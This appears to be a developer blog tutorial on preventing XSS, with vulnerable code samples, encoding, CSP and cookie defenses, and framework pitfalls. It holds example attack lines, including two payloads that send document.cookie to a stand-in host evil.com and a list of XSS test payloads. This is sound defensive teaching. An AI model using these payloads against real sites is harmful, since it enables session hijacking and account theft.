User Input <script> alert( 'hacked' ) </script> Security Layer ✓ Safe Output &lt;script&gt; alert( 'hacked' ) &lt;/script&gt; Malicious Sanitized Encoded
Security

Web Security: Preventing XSS Attacks

Mayur Dabhi
Mayur Dabhi
April 3, 2026
20 min read

Someone types <img src=x onerror=alert(1)> into your "display name" field, and a week later an alert box pops up on the admin dashboard. Nobody wrote insecure code on purpose. One template printed a value without escaping it, or a developer reached for innerHTML because it was quicker. That's how most cross-site scripting (XSS) bugs ship, and it's why XSS has sat in the OWASP Top 10 for as long as the list has existed.

This post covers the three kinds of XSS (reflected, stored and DOM-based), then the defenses I'd layer on top of each other: context-aware output encoding, input validation, Content Security Policy, and cookie flags. There's also a section on where React, Vue and Angular protect you and where they quietly don't.

What an attacker can do with XSS
  • Session Hijacking: Attackers can steal authentication cookies and impersonate users
  • Credential Theft: Fake login forms can capture usernames and passwords
  • Malware Distribution: Scripts can redirect users to malicious downloads
  • Defacement: Page content can be modified to spread misinformation
  • Keylogging: Every keystroke on the page can be captured and sent to attackers

Understanding XSS Attack Types

There are three flavors. They differ in where the payload lives and who it hits, and that changes which defense actually catches it.

Three Types of XSS Attacks Reflected XSS Attacker Crafts URL Malicious Link Sends to Victim Server Reflects Non-persistent Stored XSS Attacker Submits Malicious Comment Stored in DB Database All Users Persistent, hits every viewer DOM-based XSS Malicious URL Browser JavaScript Reads URL DOM Modified innerHTML Script Executes Client-side only

The three types of XSS attacks differ in how and where the malicious payload is processed

1. Reflected XSS (Non-Persistent)

Here the payload rides in on the current request. The attacker gets a victim to click a link with the script in a query parameter, and the server echoes ("reflects") that parameter straight back into the page. Search pages and error messages like "No results for X" are the classic spots.

Vulnerable Code
PHP - Reflected XSS Vulnerability
// DON'T DO THIS - Directly echoing user input
<?php
$search = $_GET['q'];
?>

<h1>Search Results for: <?php echo $search; ?></h1>

// Attacker URL:
// example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

2. Stored XSS (Persistent)

This one does the most damage. The payload gets saved on your side (a comment, a profile bio, a support ticket) and is served to everyone who opens that page. No phishing link needed. It gets worse when the viewer is an admin looking at user-submitted content in a back office.

Vulnerable Code
JavaScript - Stored XSS in Comments
// DON'T DO THIS - Rendering unsanitized user content
app.get('/comments', async (req, res) => {
    const comments = await db.query('SELECT * FROM comments');
    
    let html = '<div class="comments">';
    comments.forEach(c => {
        // Dangerous! Comment content is inserted directly
        html += `<p>${c.content}</p>`;
    });
    html += '</div>';
    
    res.send(html);
});

// Attacker submits comment:
// "Nice post! <img src=x onerror='fetch(`https://evil.com?c=${document.cookie}`)'>"

3. DOM-based XSS

Here the server never sees anything wrong. Your own client-side JavaScript reads something attacker-controlled (the query string, location.hash, postMessage data) and writes it into the DOM with a sink like innerHTML. Since payloads in the URL fragment are never sent to the server, server-side logs and WAFs won't catch it.

Vulnerable Code
JavaScript - DOM-based XSS
// DON'T DO THIS - Using innerHTML with URL parameters
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');

// Dangerous! Directly inserting into innerHTML
document.getElementById('greeting').innerHTML = 
    'Welcome, ' + name + '!';

// Attacker URL:
// example.com/welcome?name=<img src=x onerror=alert('XSS')>

Defense Strategy 1: Output Encoding

If you only do one thing, do this. The rule is: encode data for the context where it's rendered. HTML entity encoding alone isn't enough. A value that's safe inside a <p> can still break out of an unquoted attribute, a <script> block, or an href.

Context-Aware Output Encoding HTML Context <div>USER_DATA</div> HTML Entity Encode &lt; &gt; &amp; &quot; Attribute Context <input value="DATA"> Attribute Encode + Always quote attrs JavaScript Context var x = 'DATA'; JavaScript Encode \xHH Unicode escapes URL Context <a href="?q=DATA"> URL Encode %HH percent encoding CSS Context style="color: DATA" CSS Encode \HH CSS escapes ⚠️ Never Trust User Data Even if it comes from your database Even if it was "validated" on input ALWAYS encode on output
PHP Output Encoding
// HTML Context - Use htmlspecialchars()
$userInput = '<script>alert("xss")</script>';
echo '<p>Hello, ' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '</p>';
// Output: <p>Hello, &lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;</p>

// URL Context - Use urlencode()
$searchQuery = 'test & <script>';
echo '<a href="/search?q=' . urlencode($searchQuery) . '">Search</a>';

// JavaScript Context - Use json_encode()
$userData = ['name' => 'John</script><script>evil()'];
echo '<script>var user = ' . json_encode($userData, JSON_HEX_TAG) . ';</script>';
JavaScript Output Encoding
// Use textContent instead of innerHTML for text
const userInput = '<script>alert("xss")</script>';
element.textContent = userInput; // Safe!

// If you MUST use innerHTML, create a sanitizer
function escapeHtml(str) {
    const div = document.createElement('div');
    div.textContent = str;
    return div.innerHTML;
}

// Or use DOMPurify library
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userContent);

// URL encoding
const safeUrl = `/search?q=${encodeURIComponent(userQuery)}`;
Python Output Encoding
from markupsafe import escape
from urllib.parse import quote
import json

# HTML Context
user_input = '<script>alert("xss")</script>'
safe_html = escape(user_input)
# Result: &lt;script&gt;alert("xss")&lt;/script&gt;

# URL Context
search_query = 'test & <script>'
safe_url = f'/search?q={quote(search_query)}'

# JavaScript Context (Flask/Jinja2)
user_data = {'name': 'John</script>'}
safe_json = json.dumps(user_data)

# In Jinja2 template (auto-escapes by default)
# {{ user_input }}  <-- Automatically escaped
# {{ user_input | safe }}  <-- DANGEROUS! Bypasses escaping
Laravel/Blade Output Encoding
{{-- Blade automatically escapes with {{ }} --}}
<!-- SAFE: Auto-escaped -->
<p>Hello, {{ $user->name }}</p>

<!-- DANGEROUS: {!! !!} bypasses escaping -->
<!-- Only use for trusted, pre-sanitized HTML -->
<div>{!! $trustedHtml !!}</div>

<!-- JavaScript Context -->
<script>
    var user = @json($user);
    // Or use Js facade in newer Laravel
    var settings = {{ Js::from($settings) }};
</script>

<!-- URL encoding -->
<a href="/search?q={{ urlencode($query) }}">Search</a>

Defense Strategy 2: Input Validation & Sanitization

Output encoding does the heavy lifting. Validation is a second layer: accept only what you expect and reject or sanitize the rest. It also catches plenty of junk data that has nothing to do with security.

Validation vs Sanitization

Validation checks if input matches expected patterns and rejects invalid data. Sanitization modifies input to remove or encode potentially dangerous content. Use validation first, then sanitize if needed, and ALWAYS encode on output.

Allowlist Approach

Define exactly what's allowed. A username might only allow alphanumeric characters. An age field only accepts integers 1-120.

Blocklist Approach

Try to block known bad patterns. This is weaker, because attackers keep finding bypasses (mixed case, encoding, odd tags). Don't rely on blocklists alone.

JavaScript - Input Validation Examples
// Allowlist validation - Only permit expected characters
function validateUsername(username) {
    // Only alphanumeric and underscore, 3-20 chars
    const pattern = /^[a-zA-Z0-9_]{3,20}$/;
    return pattern.test(username);
}

function validateEmail(email) {
    // Basic email pattern (use a library for production)
    const pattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return pattern.test(email) && email.length <= 254;
}

function validateAge(age) {
    const num = parseInt(age, 10);
    return !isNaN(num) && num >= 1 && num <= 120;
}

// HTML Sanitization using DOMPurify
import DOMPurify from 'dompurify';

function sanitizeRichText(html) {
    return DOMPurify.sanitize(html, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
        ALLOWED_ATTR: ['href'],
        ALLOW_DATA_ATTR: false
    });
}

Defense Strategy 3: Content Security Policy (CSP)

CSP is a response header that tells the browser which scripts it may run. It's your safety net: if a payload slips past your encoding, a strict policy can still stop it from executing.

How Content Security Policy Works Browser CSP Engine Checks every resource Page Content Scripts, Styles, Images... self (same origin) ✓ ALLOWED cdn.example.com ✓ ALLOWED evil.com ✗ BLOCKED inline scripts ✗ BLOCKED CSP Header Example Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' api.example.com; frame-ancestors 'none';
CSP Directive Purpose Example Value
default-src Fallback for all resource types 'self'
script-src Valid sources for JavaScript 'self' 'nonce-abc123'
style-src Valid sources for stylesheets 'self' 'unsafe-inline'
img-src Valid sources for images 'self' data: https:
connect-src Valid targets for fetch/XHR/WebSocket 'self' api.example.com
frame-ancestors Who can embed this page (clickjacking protection) 'none'
Node.js/Express - Implementing CSP
const helmet = require('helmet');
const crypto = require('crypto');

// Generate a nonce for each request
app.use((req, res, next) => {
    res.locals.nonce = crypto.randomBytes(16).toString('base64');
    next();
});

// Apply CSP with nonce
app.use((req, res, next) => {
    helmet.contentSecurityPolicy({
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: [
                "'self'",
                `'nonce-${res.locals.nonce}'`,
                'https://cdn.jsdelivr.net'
            ],
            styleSrc: ["'self'", "'unsafe-inline'"],
            imgSrc: ["'self'", 'data:', 'https:'],
            connectSrc: ["'self'", 'https://api.example.com'],
            frameAncestors: ["'none'"],
            formAction: ["'self'"],
            upgradeInsecureRequests: []
        }
    })(req, res, next);
});

// In your template, use the nonce for inline scripts
// <script nonce="<%= nonce %>">...</script>
CSP Pitfalls to Avoid
  • Don't use 'unsafe-inline' for scripts: it lets injected inline scripts run, which defeats the point of CSP.
  • Don't use 'unsafe-eval': it allows eval(), new Function() and friends.
  • Test in report-only mode first: send Content-Security-Policy-Report-Only and watch the violations before enforcing.
  • Keep your allowlist small: every allowed source is a possible attack vector. Allowing a whole CDN like cdn.jsdelivr.net means any package hosted there can be loaded as a script.

When CSP blocks something, the browser console shows an error like Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". If that appears right after you deploy a policy, it's usually your own inline onclick handlers or analytics snippet, not an attack. Nonces don't cover inline event handler attributes, so those need to move into a script file.

Defense Strategy 4: Secure Cookies & HttpOnly

Cookie flags don't prevent XSS, but they limit what it can steal. An HttpOnly cookie is invisible to document.cookie, so the classic "send the session cookie to evil.com" payload gets nothing. The script can still make requests as the user from inside the page, though, so treat this as damage control.

Secure Cookie Configuration
// Node.js/Express - Secure session cookies
app.use(session({
    name: 'sessionId',
    secret: process.env.SESSION_SECRET,
    cookie: {
        httpOnly: true,     // Cannot be accessed by JavaScript
        secure: true,       // Only sent over HTTPS
        sameSite: 'strict', // Prevents CSRF
        maxAge: 3600000     // 1 hour expiry
    },
    resave: false,
    saveUninitialized: false
}));

// PHP - Secure cookie settings
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);
session_start();

Defense in Depth: Complete Security Checklist

Each of these defenses fails sometimes. Someone adds a {!! !!}, a CSP gets loosened to make a widget work. Stacking them means one mistake doesn't turn into a breach.

1

Output Encoding (Primary Defense)

Always encode data when rendering in HTML, JavaScript, CSS, or URLs. Use context-appropriate encoding functions provided by your framework.

2

Input Validation (Secondary Defense)

Validate all input against strict allowlists. Reject or sanitize anything that doesn't match expected patterns. Never trust client-side validation alone.

3

Content Security Policy (Tertiary Defense)

Implement strict CSP headers to control which scripts can execute. Use nonces for inline scripts, avoid 'unsafe-inline' and 'unsafe-eval'.

4

Secure Cookie Configuration

Use HttpOnly, Secure, and SameSite attributes on all session cookies. This limits damage even if XSS occurs.

5

Use Modern Frameworks

React, Vue, Angular, Blade and Jinja2 auto-escape by default. Know which APIs bypass that (and grep for them in code review).

6

Regular Security Audits

Use automated tools like OWASP ZAP, Burp Suite, or Snyk. Conduct regular code reviews focusing on user input handling.

Testing for XSS Vulnerabilities

Before a scanner gets involved, I'd paste a handful of payloads into every input on the page and see what comes back. These are the usual suspects:

Common XSS Test Payloads

// Basic script injection
<script>alert('XSS')</script>

// Event handler injection
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>

// Attribute breaking
" onclick="alert('XSS')
' onclick='alert("XSS")

// JavaScript URL
<a href="javascript:alert('XSS')">Click</a>

// Encoded payloads
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="alert('XSS')">

// Template injection (if using template engines)
{{constructor.constructor('alert(1)')()}}
${alert('XSS')}
Important

Only test on applications you own or have explicit permission to test. Unauthorized security testing is illegal.

Framework-Specific Protections

React escapes by default. JSX automatically escapes values before rendering.

// SAFE - React automatically escapes
function Welcome({ name }) {
    return <h1>Hello, {name}</h1>;
}

// DANGEROUS - dangerouslySetInnerHTML bypasses protection
function RichContent({ html }) {
    // Only use with sanitized content!
    return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}

// DANGEROUS - href can execute javascript:
// Always validate URLs!
function Link({ url, text }) {
    const safeUrl = url.startsWith('http') ? url : '#';
    return <a href={safeUrl}>{text}</a>;
}

Vue.js escapes in templates. Double curly braces escape content automatically.

<!-- SAFE - Vue escapes {{ }} -->
<template>
    <p>{{ userInput }}</p>
</template>

<!-- DANGEROUS - v-html renders raw HTML -->
<template>
    <!-- Only use with sanitized content! -->
    <div v-html="sanitizedHtml"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
    computed: {
        sanitizedHtml() {
            return DOMPurify.sanitize(this.rawHtml);
        }
    }
}
</script>

Angular sanitizes by default. It has built-in XSS protection for interpolation and property binding.

<!-- SAFE - Angular escapes interpolation -->
<p>{{ userInput }}</p>

<!-- SAFE - Property binding is also sanitized -->
<div [innerHTML]="userContent"></div>

// DANGEROUS - Bypassing sanitization
import { DomSanitizer } from '@angular/platform-browser';

constructor(private sanitizer: DomSanitizer) {}

// Only use for trusted content!
trustedHtml = this.sanitizer.bypassSecurityTrustHtml(htmlContent);

Mistakes I see most often

Things to grep for before going to production

  • Escape hatches with user data behind them: {!! !!}, | safe, v-html, dangerouslySetInnerHTML, bypassSecurityTrustHtml. Each one should either get trusted content or go through DOMPurify first.
  • Trusting your own database: "it's already in the DB, so it's clean" is how stored XSS happens. Data imported from a CSV or an old system is just as untrusted as a form post.
  • Sanitizing on input, then storing the result: it seems tidy, but you lose the original data and you're sanitizing for one output context you might not end up using. Store what the user sent and encode when you render it.
  • User-supplied URLs in href: auto-escaping does nothing against javascript:alert(1). Check the scheme with an allowlist (http, https, mailto).
  • A CSP that allows 'unsafe-inline' for scripts: it looks like protection in a security scan and stops almost nothing.

On the trade-offs: a strict nonce-based CSP is worth it for apps with logins and user-generated content, but it's real work on an older codebase full of inline scripts and third-party tags. In that case I'd start with report-only mode and fix violations gradually rather than holding a release for it. For a static marketing site with no user input, a basic CSP and sensible headers are enough. And I wouldn't write my own HTML sanitizer with regexes for any project. If you have to accept rich HTML, use DOMPurify (or HTML Purifier in PHP) and keep the allowed tag list as short as you can.

XSS Security Prevention Web Development OWASP
Mayur Dabhi

Written by Mayur Dabhi

Full-stack developer passionate about web technologies, security, and sharing knowledge with the developer community.